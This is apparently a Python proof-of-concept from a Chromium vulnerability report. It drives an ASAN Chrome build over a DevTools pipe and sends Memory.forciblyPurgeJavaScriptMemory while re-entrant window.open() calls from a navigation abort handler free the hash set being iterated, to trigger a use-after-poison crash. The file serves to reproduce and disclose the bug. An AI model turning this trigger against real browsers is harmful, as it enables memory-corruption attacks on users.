#!/usr/bin/env python3
"""
POC driver for: HeapHashSet iteration in Memory.forciblyPurgeJavaScriptMemory
is invalidated by re-entrant window.open() from a NavigateEvent abort signal.

This script:
  1. Serves index.html / child.html on http://127.0.0.1:8123/
  2. Launches an ASAN Chrome with --remote-debugging-pipe (CDP over fd 3/4),
     simulating a chrome.debugger-permission extension.
  3. Attaches to the page target and waits until the child iframe has armed
     an intercepted Navigation API navigation with an abort listener.
  4. Sends Memory.forciblyPurgeJavaScriptMemory.
     -> InspectorMemoryAgent::forciblyPurgeJavaScriptMemory range-iterates
        Page::OrdinaryPages() (live HeapHashSet<WeakMember<Page>>).
     -> While processing the main frame, StopAllLoaders recurses into the
        child and synchronously fires the abort signal.
     -> The abort listener calls window.open() repeatedly, inserting into
        OrdinaryPages() and forcing a rehash that explicitly frees the old
        backing via cppgc::subtle::FreeUnreferencedObject (ASAN-poisons it).
     -> The outer iterator then dereferences the poisoned slot.

Expected ASAN output: `use-after-poison` in the renderer with
`InspectorMemoryAgent::forciblyPurgeJavaScriptMemory` on the stack.
"""

import http.server
import json
import os
import select
import signal
import socketserver
import subprocess
import sys
import threading
import time

HERE = os.path.dirname(os.path.abspath(__file__))
PORT = 8123

CHROME = os.environ.get(
    "CHROME", "/chromium/chromium/src/out/asan/chrome")
USER_DATA = "/tmp/chrome-poc-ordinarypages"


# ----------------------------------------------------------------------------
# tiny HTTP server for the POC pages
# ----------------------------------------------------------------------------
class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=HERE, **kw)

    def log_message(self, fmt, *a):
        pass  # quiet


def start_server():
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer(("127.0.0.1", PORT), Handler)
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd


# ----------------------------------------------------------------------------
# CDP-over-pipe (fd 3 in / fd 4 out, NUL-delimited JSON)
# ----------------------------------------------------------------------------
class CDPPipe:
    def __init__(self, write_fd, read_fd):
        self._w = write_fd
        self._r = read_fd
        self._buf = b""
        self._id = 0
        self._pending = {}
        self._events = []

    def send(self, method, params=None, session=None):
        self._id += 1
        msg = {"id": self._id, "method": method, "params": params or {}}
        if session:
            msg["sessionId"] = session
        os.write(self._w, json.dumps(msg).encode() + b"\x00")
        return self._id

    def _read_chunk(self, timeout=10.0):
        r, _, _ = select.select([self._r], [], [], timeout)
        if not r:
            return False
        try:
            data = os.read(self._r, 65536)
        except OSError:
            return False
        if not data:
            return False
        self._buf += data
        return True

    def _drain(self):
        while b"\x00" in self._buf:
            raw, self._buf = self._buf.split(b"\x00", 1)
            if not raw:
                continue
            obj = json.loads(raw)
            if "id" in obj:
                self._pending[obj["id"]] = obj
            else:
                self._events.append(obj)

    def wait(self, mid, timeout=30.0):
        deadline = time.time() + timeout
        while mid not in self._pending:
            self._drain()
            if mid in self._pending:
                break
            if not self._read_chunk(max(0.0, deadline - time.time())):
                if time.time() > deadline:
                    raise TimeoutError(f"CDP wait id={mid}")
        self._drain()
        return self._pending.pop(mid)

    def call(self, method, params=None, session=None, timeout=30.0):
        return self.wait(self.send(method, params, session), timeout)

    def wait_event(self, name, pred=None, timeout=30.0):
        deadline = time.time() + timeout
        while True:
            for i, ev in enumerate(self._events):
                if ev.get("method") == name and (pred is None or pred(ev)):
                    return self._events.pop(i)
            if not self._read_chunk(max(0.0, deadline - time.time())):
                if time.time() > deadline:
                    raise TimeoutError(f"CDP wait_event {name}")
            self._drain()


# ----------------------------------------------------------------------------
# stderr pump (ASAN output goes here)
# ----------------------------------------------------------------------------
class StderrPump(threading.Thread):
    def __init__(self, fh):
        super().__init__(daemon=True)
        self.fh = fh
        self.lines = []
        self.asan = False

    def run(self):
        for line in iter(self.fh.readline, b""):
            s = line.decode(errors="replace")
            self.lines.append(s)
            sys.stderr.write(s)
            sys.stderr.flush()
            if "AddressSanitizer" in s or "use-after-poison" in s:
                self.asan = True


# ----------------------------------------------------------------------------
# main
# ----------------------------------------------------------------------------
def main():
    httpd = start_server()
    print(f"[*] http server on http://127.0.0.1:{PORT}/")

    subprocess.run(["rm", "-rf", USER_DATA])

    # Pipes for --remote-debugging-pipe: child reads CDP on fd 3, writes on fd 4.
    in_r, in_w = os.pipe()    # we write -> chrome reads (fd 3)
    out_r, out_w = os.pipe()  # chrome writes (fd 4) -> we read
    for fd in (in_r, in_w, out_r, out_w):
        os.set_inheritable(fd, True)

    def _preexec():
        os.dup2(in_r, 3)
        os.dup2(out_w, 4)
        for fd in (in_r, in_w, out_r, out_w):
            if fd not in (3, 4):
                os.close(fd)

    cmd = [
        CHROME,
        "--headless=new",
        "--no-sandbox",
        "--disable-gpu",
        "--no-first-run",
        "--no-default-browser-check",
        "--user-data-dir=" + USER_DATA,
        "--remote-debugging-pipe",
        # An attacker with chrome.debugger can synthesise user activation via
        # the Input domain; --disable-popup-blocking is the minimal stand-in
        # so the re-entrant window.open() calls in the abort handler succeed.
        "--disable-popup-blocking",
        # Keep all same-origin popups in this renderer so they share
        # the OrdinaryPages() set being iterated.
        "--renderer-process-limit=1",
        f"http://127.0.0.1:{PORT}/index.html",
    ]
    print("[*] launching:", " ".join(cmd))

    proc = subprocess.Popen(
        cmd,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
        close_fds=False,
        preexec_fn=_preexec,
    )
    os.close(in_r)
    os.close(out_w)

    pump = StderrPump(proc.stderr)
    pump.start()

    cdp = CDPPipe(in_w, out_r)

    try:
        # Find the page target.
        cdp.call("Target.setDiscoverTargets", {"discover": True})
        page_tid = None
        deadline = time.time() + 30
        while page_tid is None and time.time() < deadline:
            res = cdp.call("Target.getTargets")
            for t in res.get("result", {}).get("targetInfos", []):
                if t.get("type") == "page" and "index.html" in t.get("url", ""):
                    page_tid = t["targetId"]
                    break
            if page_tid is None:
                time.sleep(0.2)
        if page_tid is None:
            raise RuntimeError("page target not found")
        print(f"[*] page target: {page_tid}")

        att = cdp.call("Target.attachToTarget",
                       {"targetId": page_tid, "flatten": True})
        sess = att["result"]["sessionId"]
        print(f"[*] attached session: {sess}")

        cdp.call("Runtime.enable", session=sess)

        # Wait for the child iframe to arm itself (document.title == 'READY').
        print("[*] waiting for child iframe to arm intercepted navigation...")
        for _ in range(100):
            r = cdp.call(
                "Runtime.evaluate",
                {"expression": "document.title", "returnByValue": True},
                session=sess)
            if r.get("result", {}).get("result", {}).get("value") == "READY":
                break
            time.sleep(0.2)
        else:
            raise RuntimeError("child never signalled READY")
        print("[*] child armed.")

        # Pre-open a couple of popups so the page being attacked is not the
        # only / last bucket in the OrdinaryPages table when iteration starts.
        cdp.call(
            "Runtime.evaluate",
            {
                "expression":
                    "for (let i=0;i<2;i++) window.open('about:blank','_blank');"
                    " 'ok'",
                "userGesture": True,
                "returnByValue": True,
            },
            session=sess)
        time.sleep(0.5)

        # Fire the vulnerable command. This is the chrome.debugger-reachable
        # CDP method that range-iterates the live OrdinaryPages() HeapHashSet.
        print("[*] sending Memory.forciblyPurgeJavaScriptMemory ...")
        try:
            r = cdp.call("Memory.forciblyPurgeJavaScriptMemory",
                         session=sess, timeout=30)
            print("[*] purge returned:", json.dumps(r))
        except TimeoutError:
            print("[*] purge timed out (renderer may have crashed)")

        # Give ASAN time to dump.
        time.sleep(5)

    finally:
        try:
            proc.send_signal(signal.SIGTERM)
        except Exception:
            pass
        try:
            proc.wait(timeout=10)
        except Exception:
            proc.kill()
        httpd.shutdown()

    out = "".join(pump.lines)
    with open(os.path.join(HERE, "asan-output.txt"), "w") as f:
        f.write(out)

    if pump.asan:
        print("\n[+] ASAN report captured -> asan-output.txt")
        return 0
    print("\n[-] no ASAN report observed; full chrome stderr saved to "
          "asan-output.txt")
    return 1


if __name__ == "__main__":
    sys.exit(main())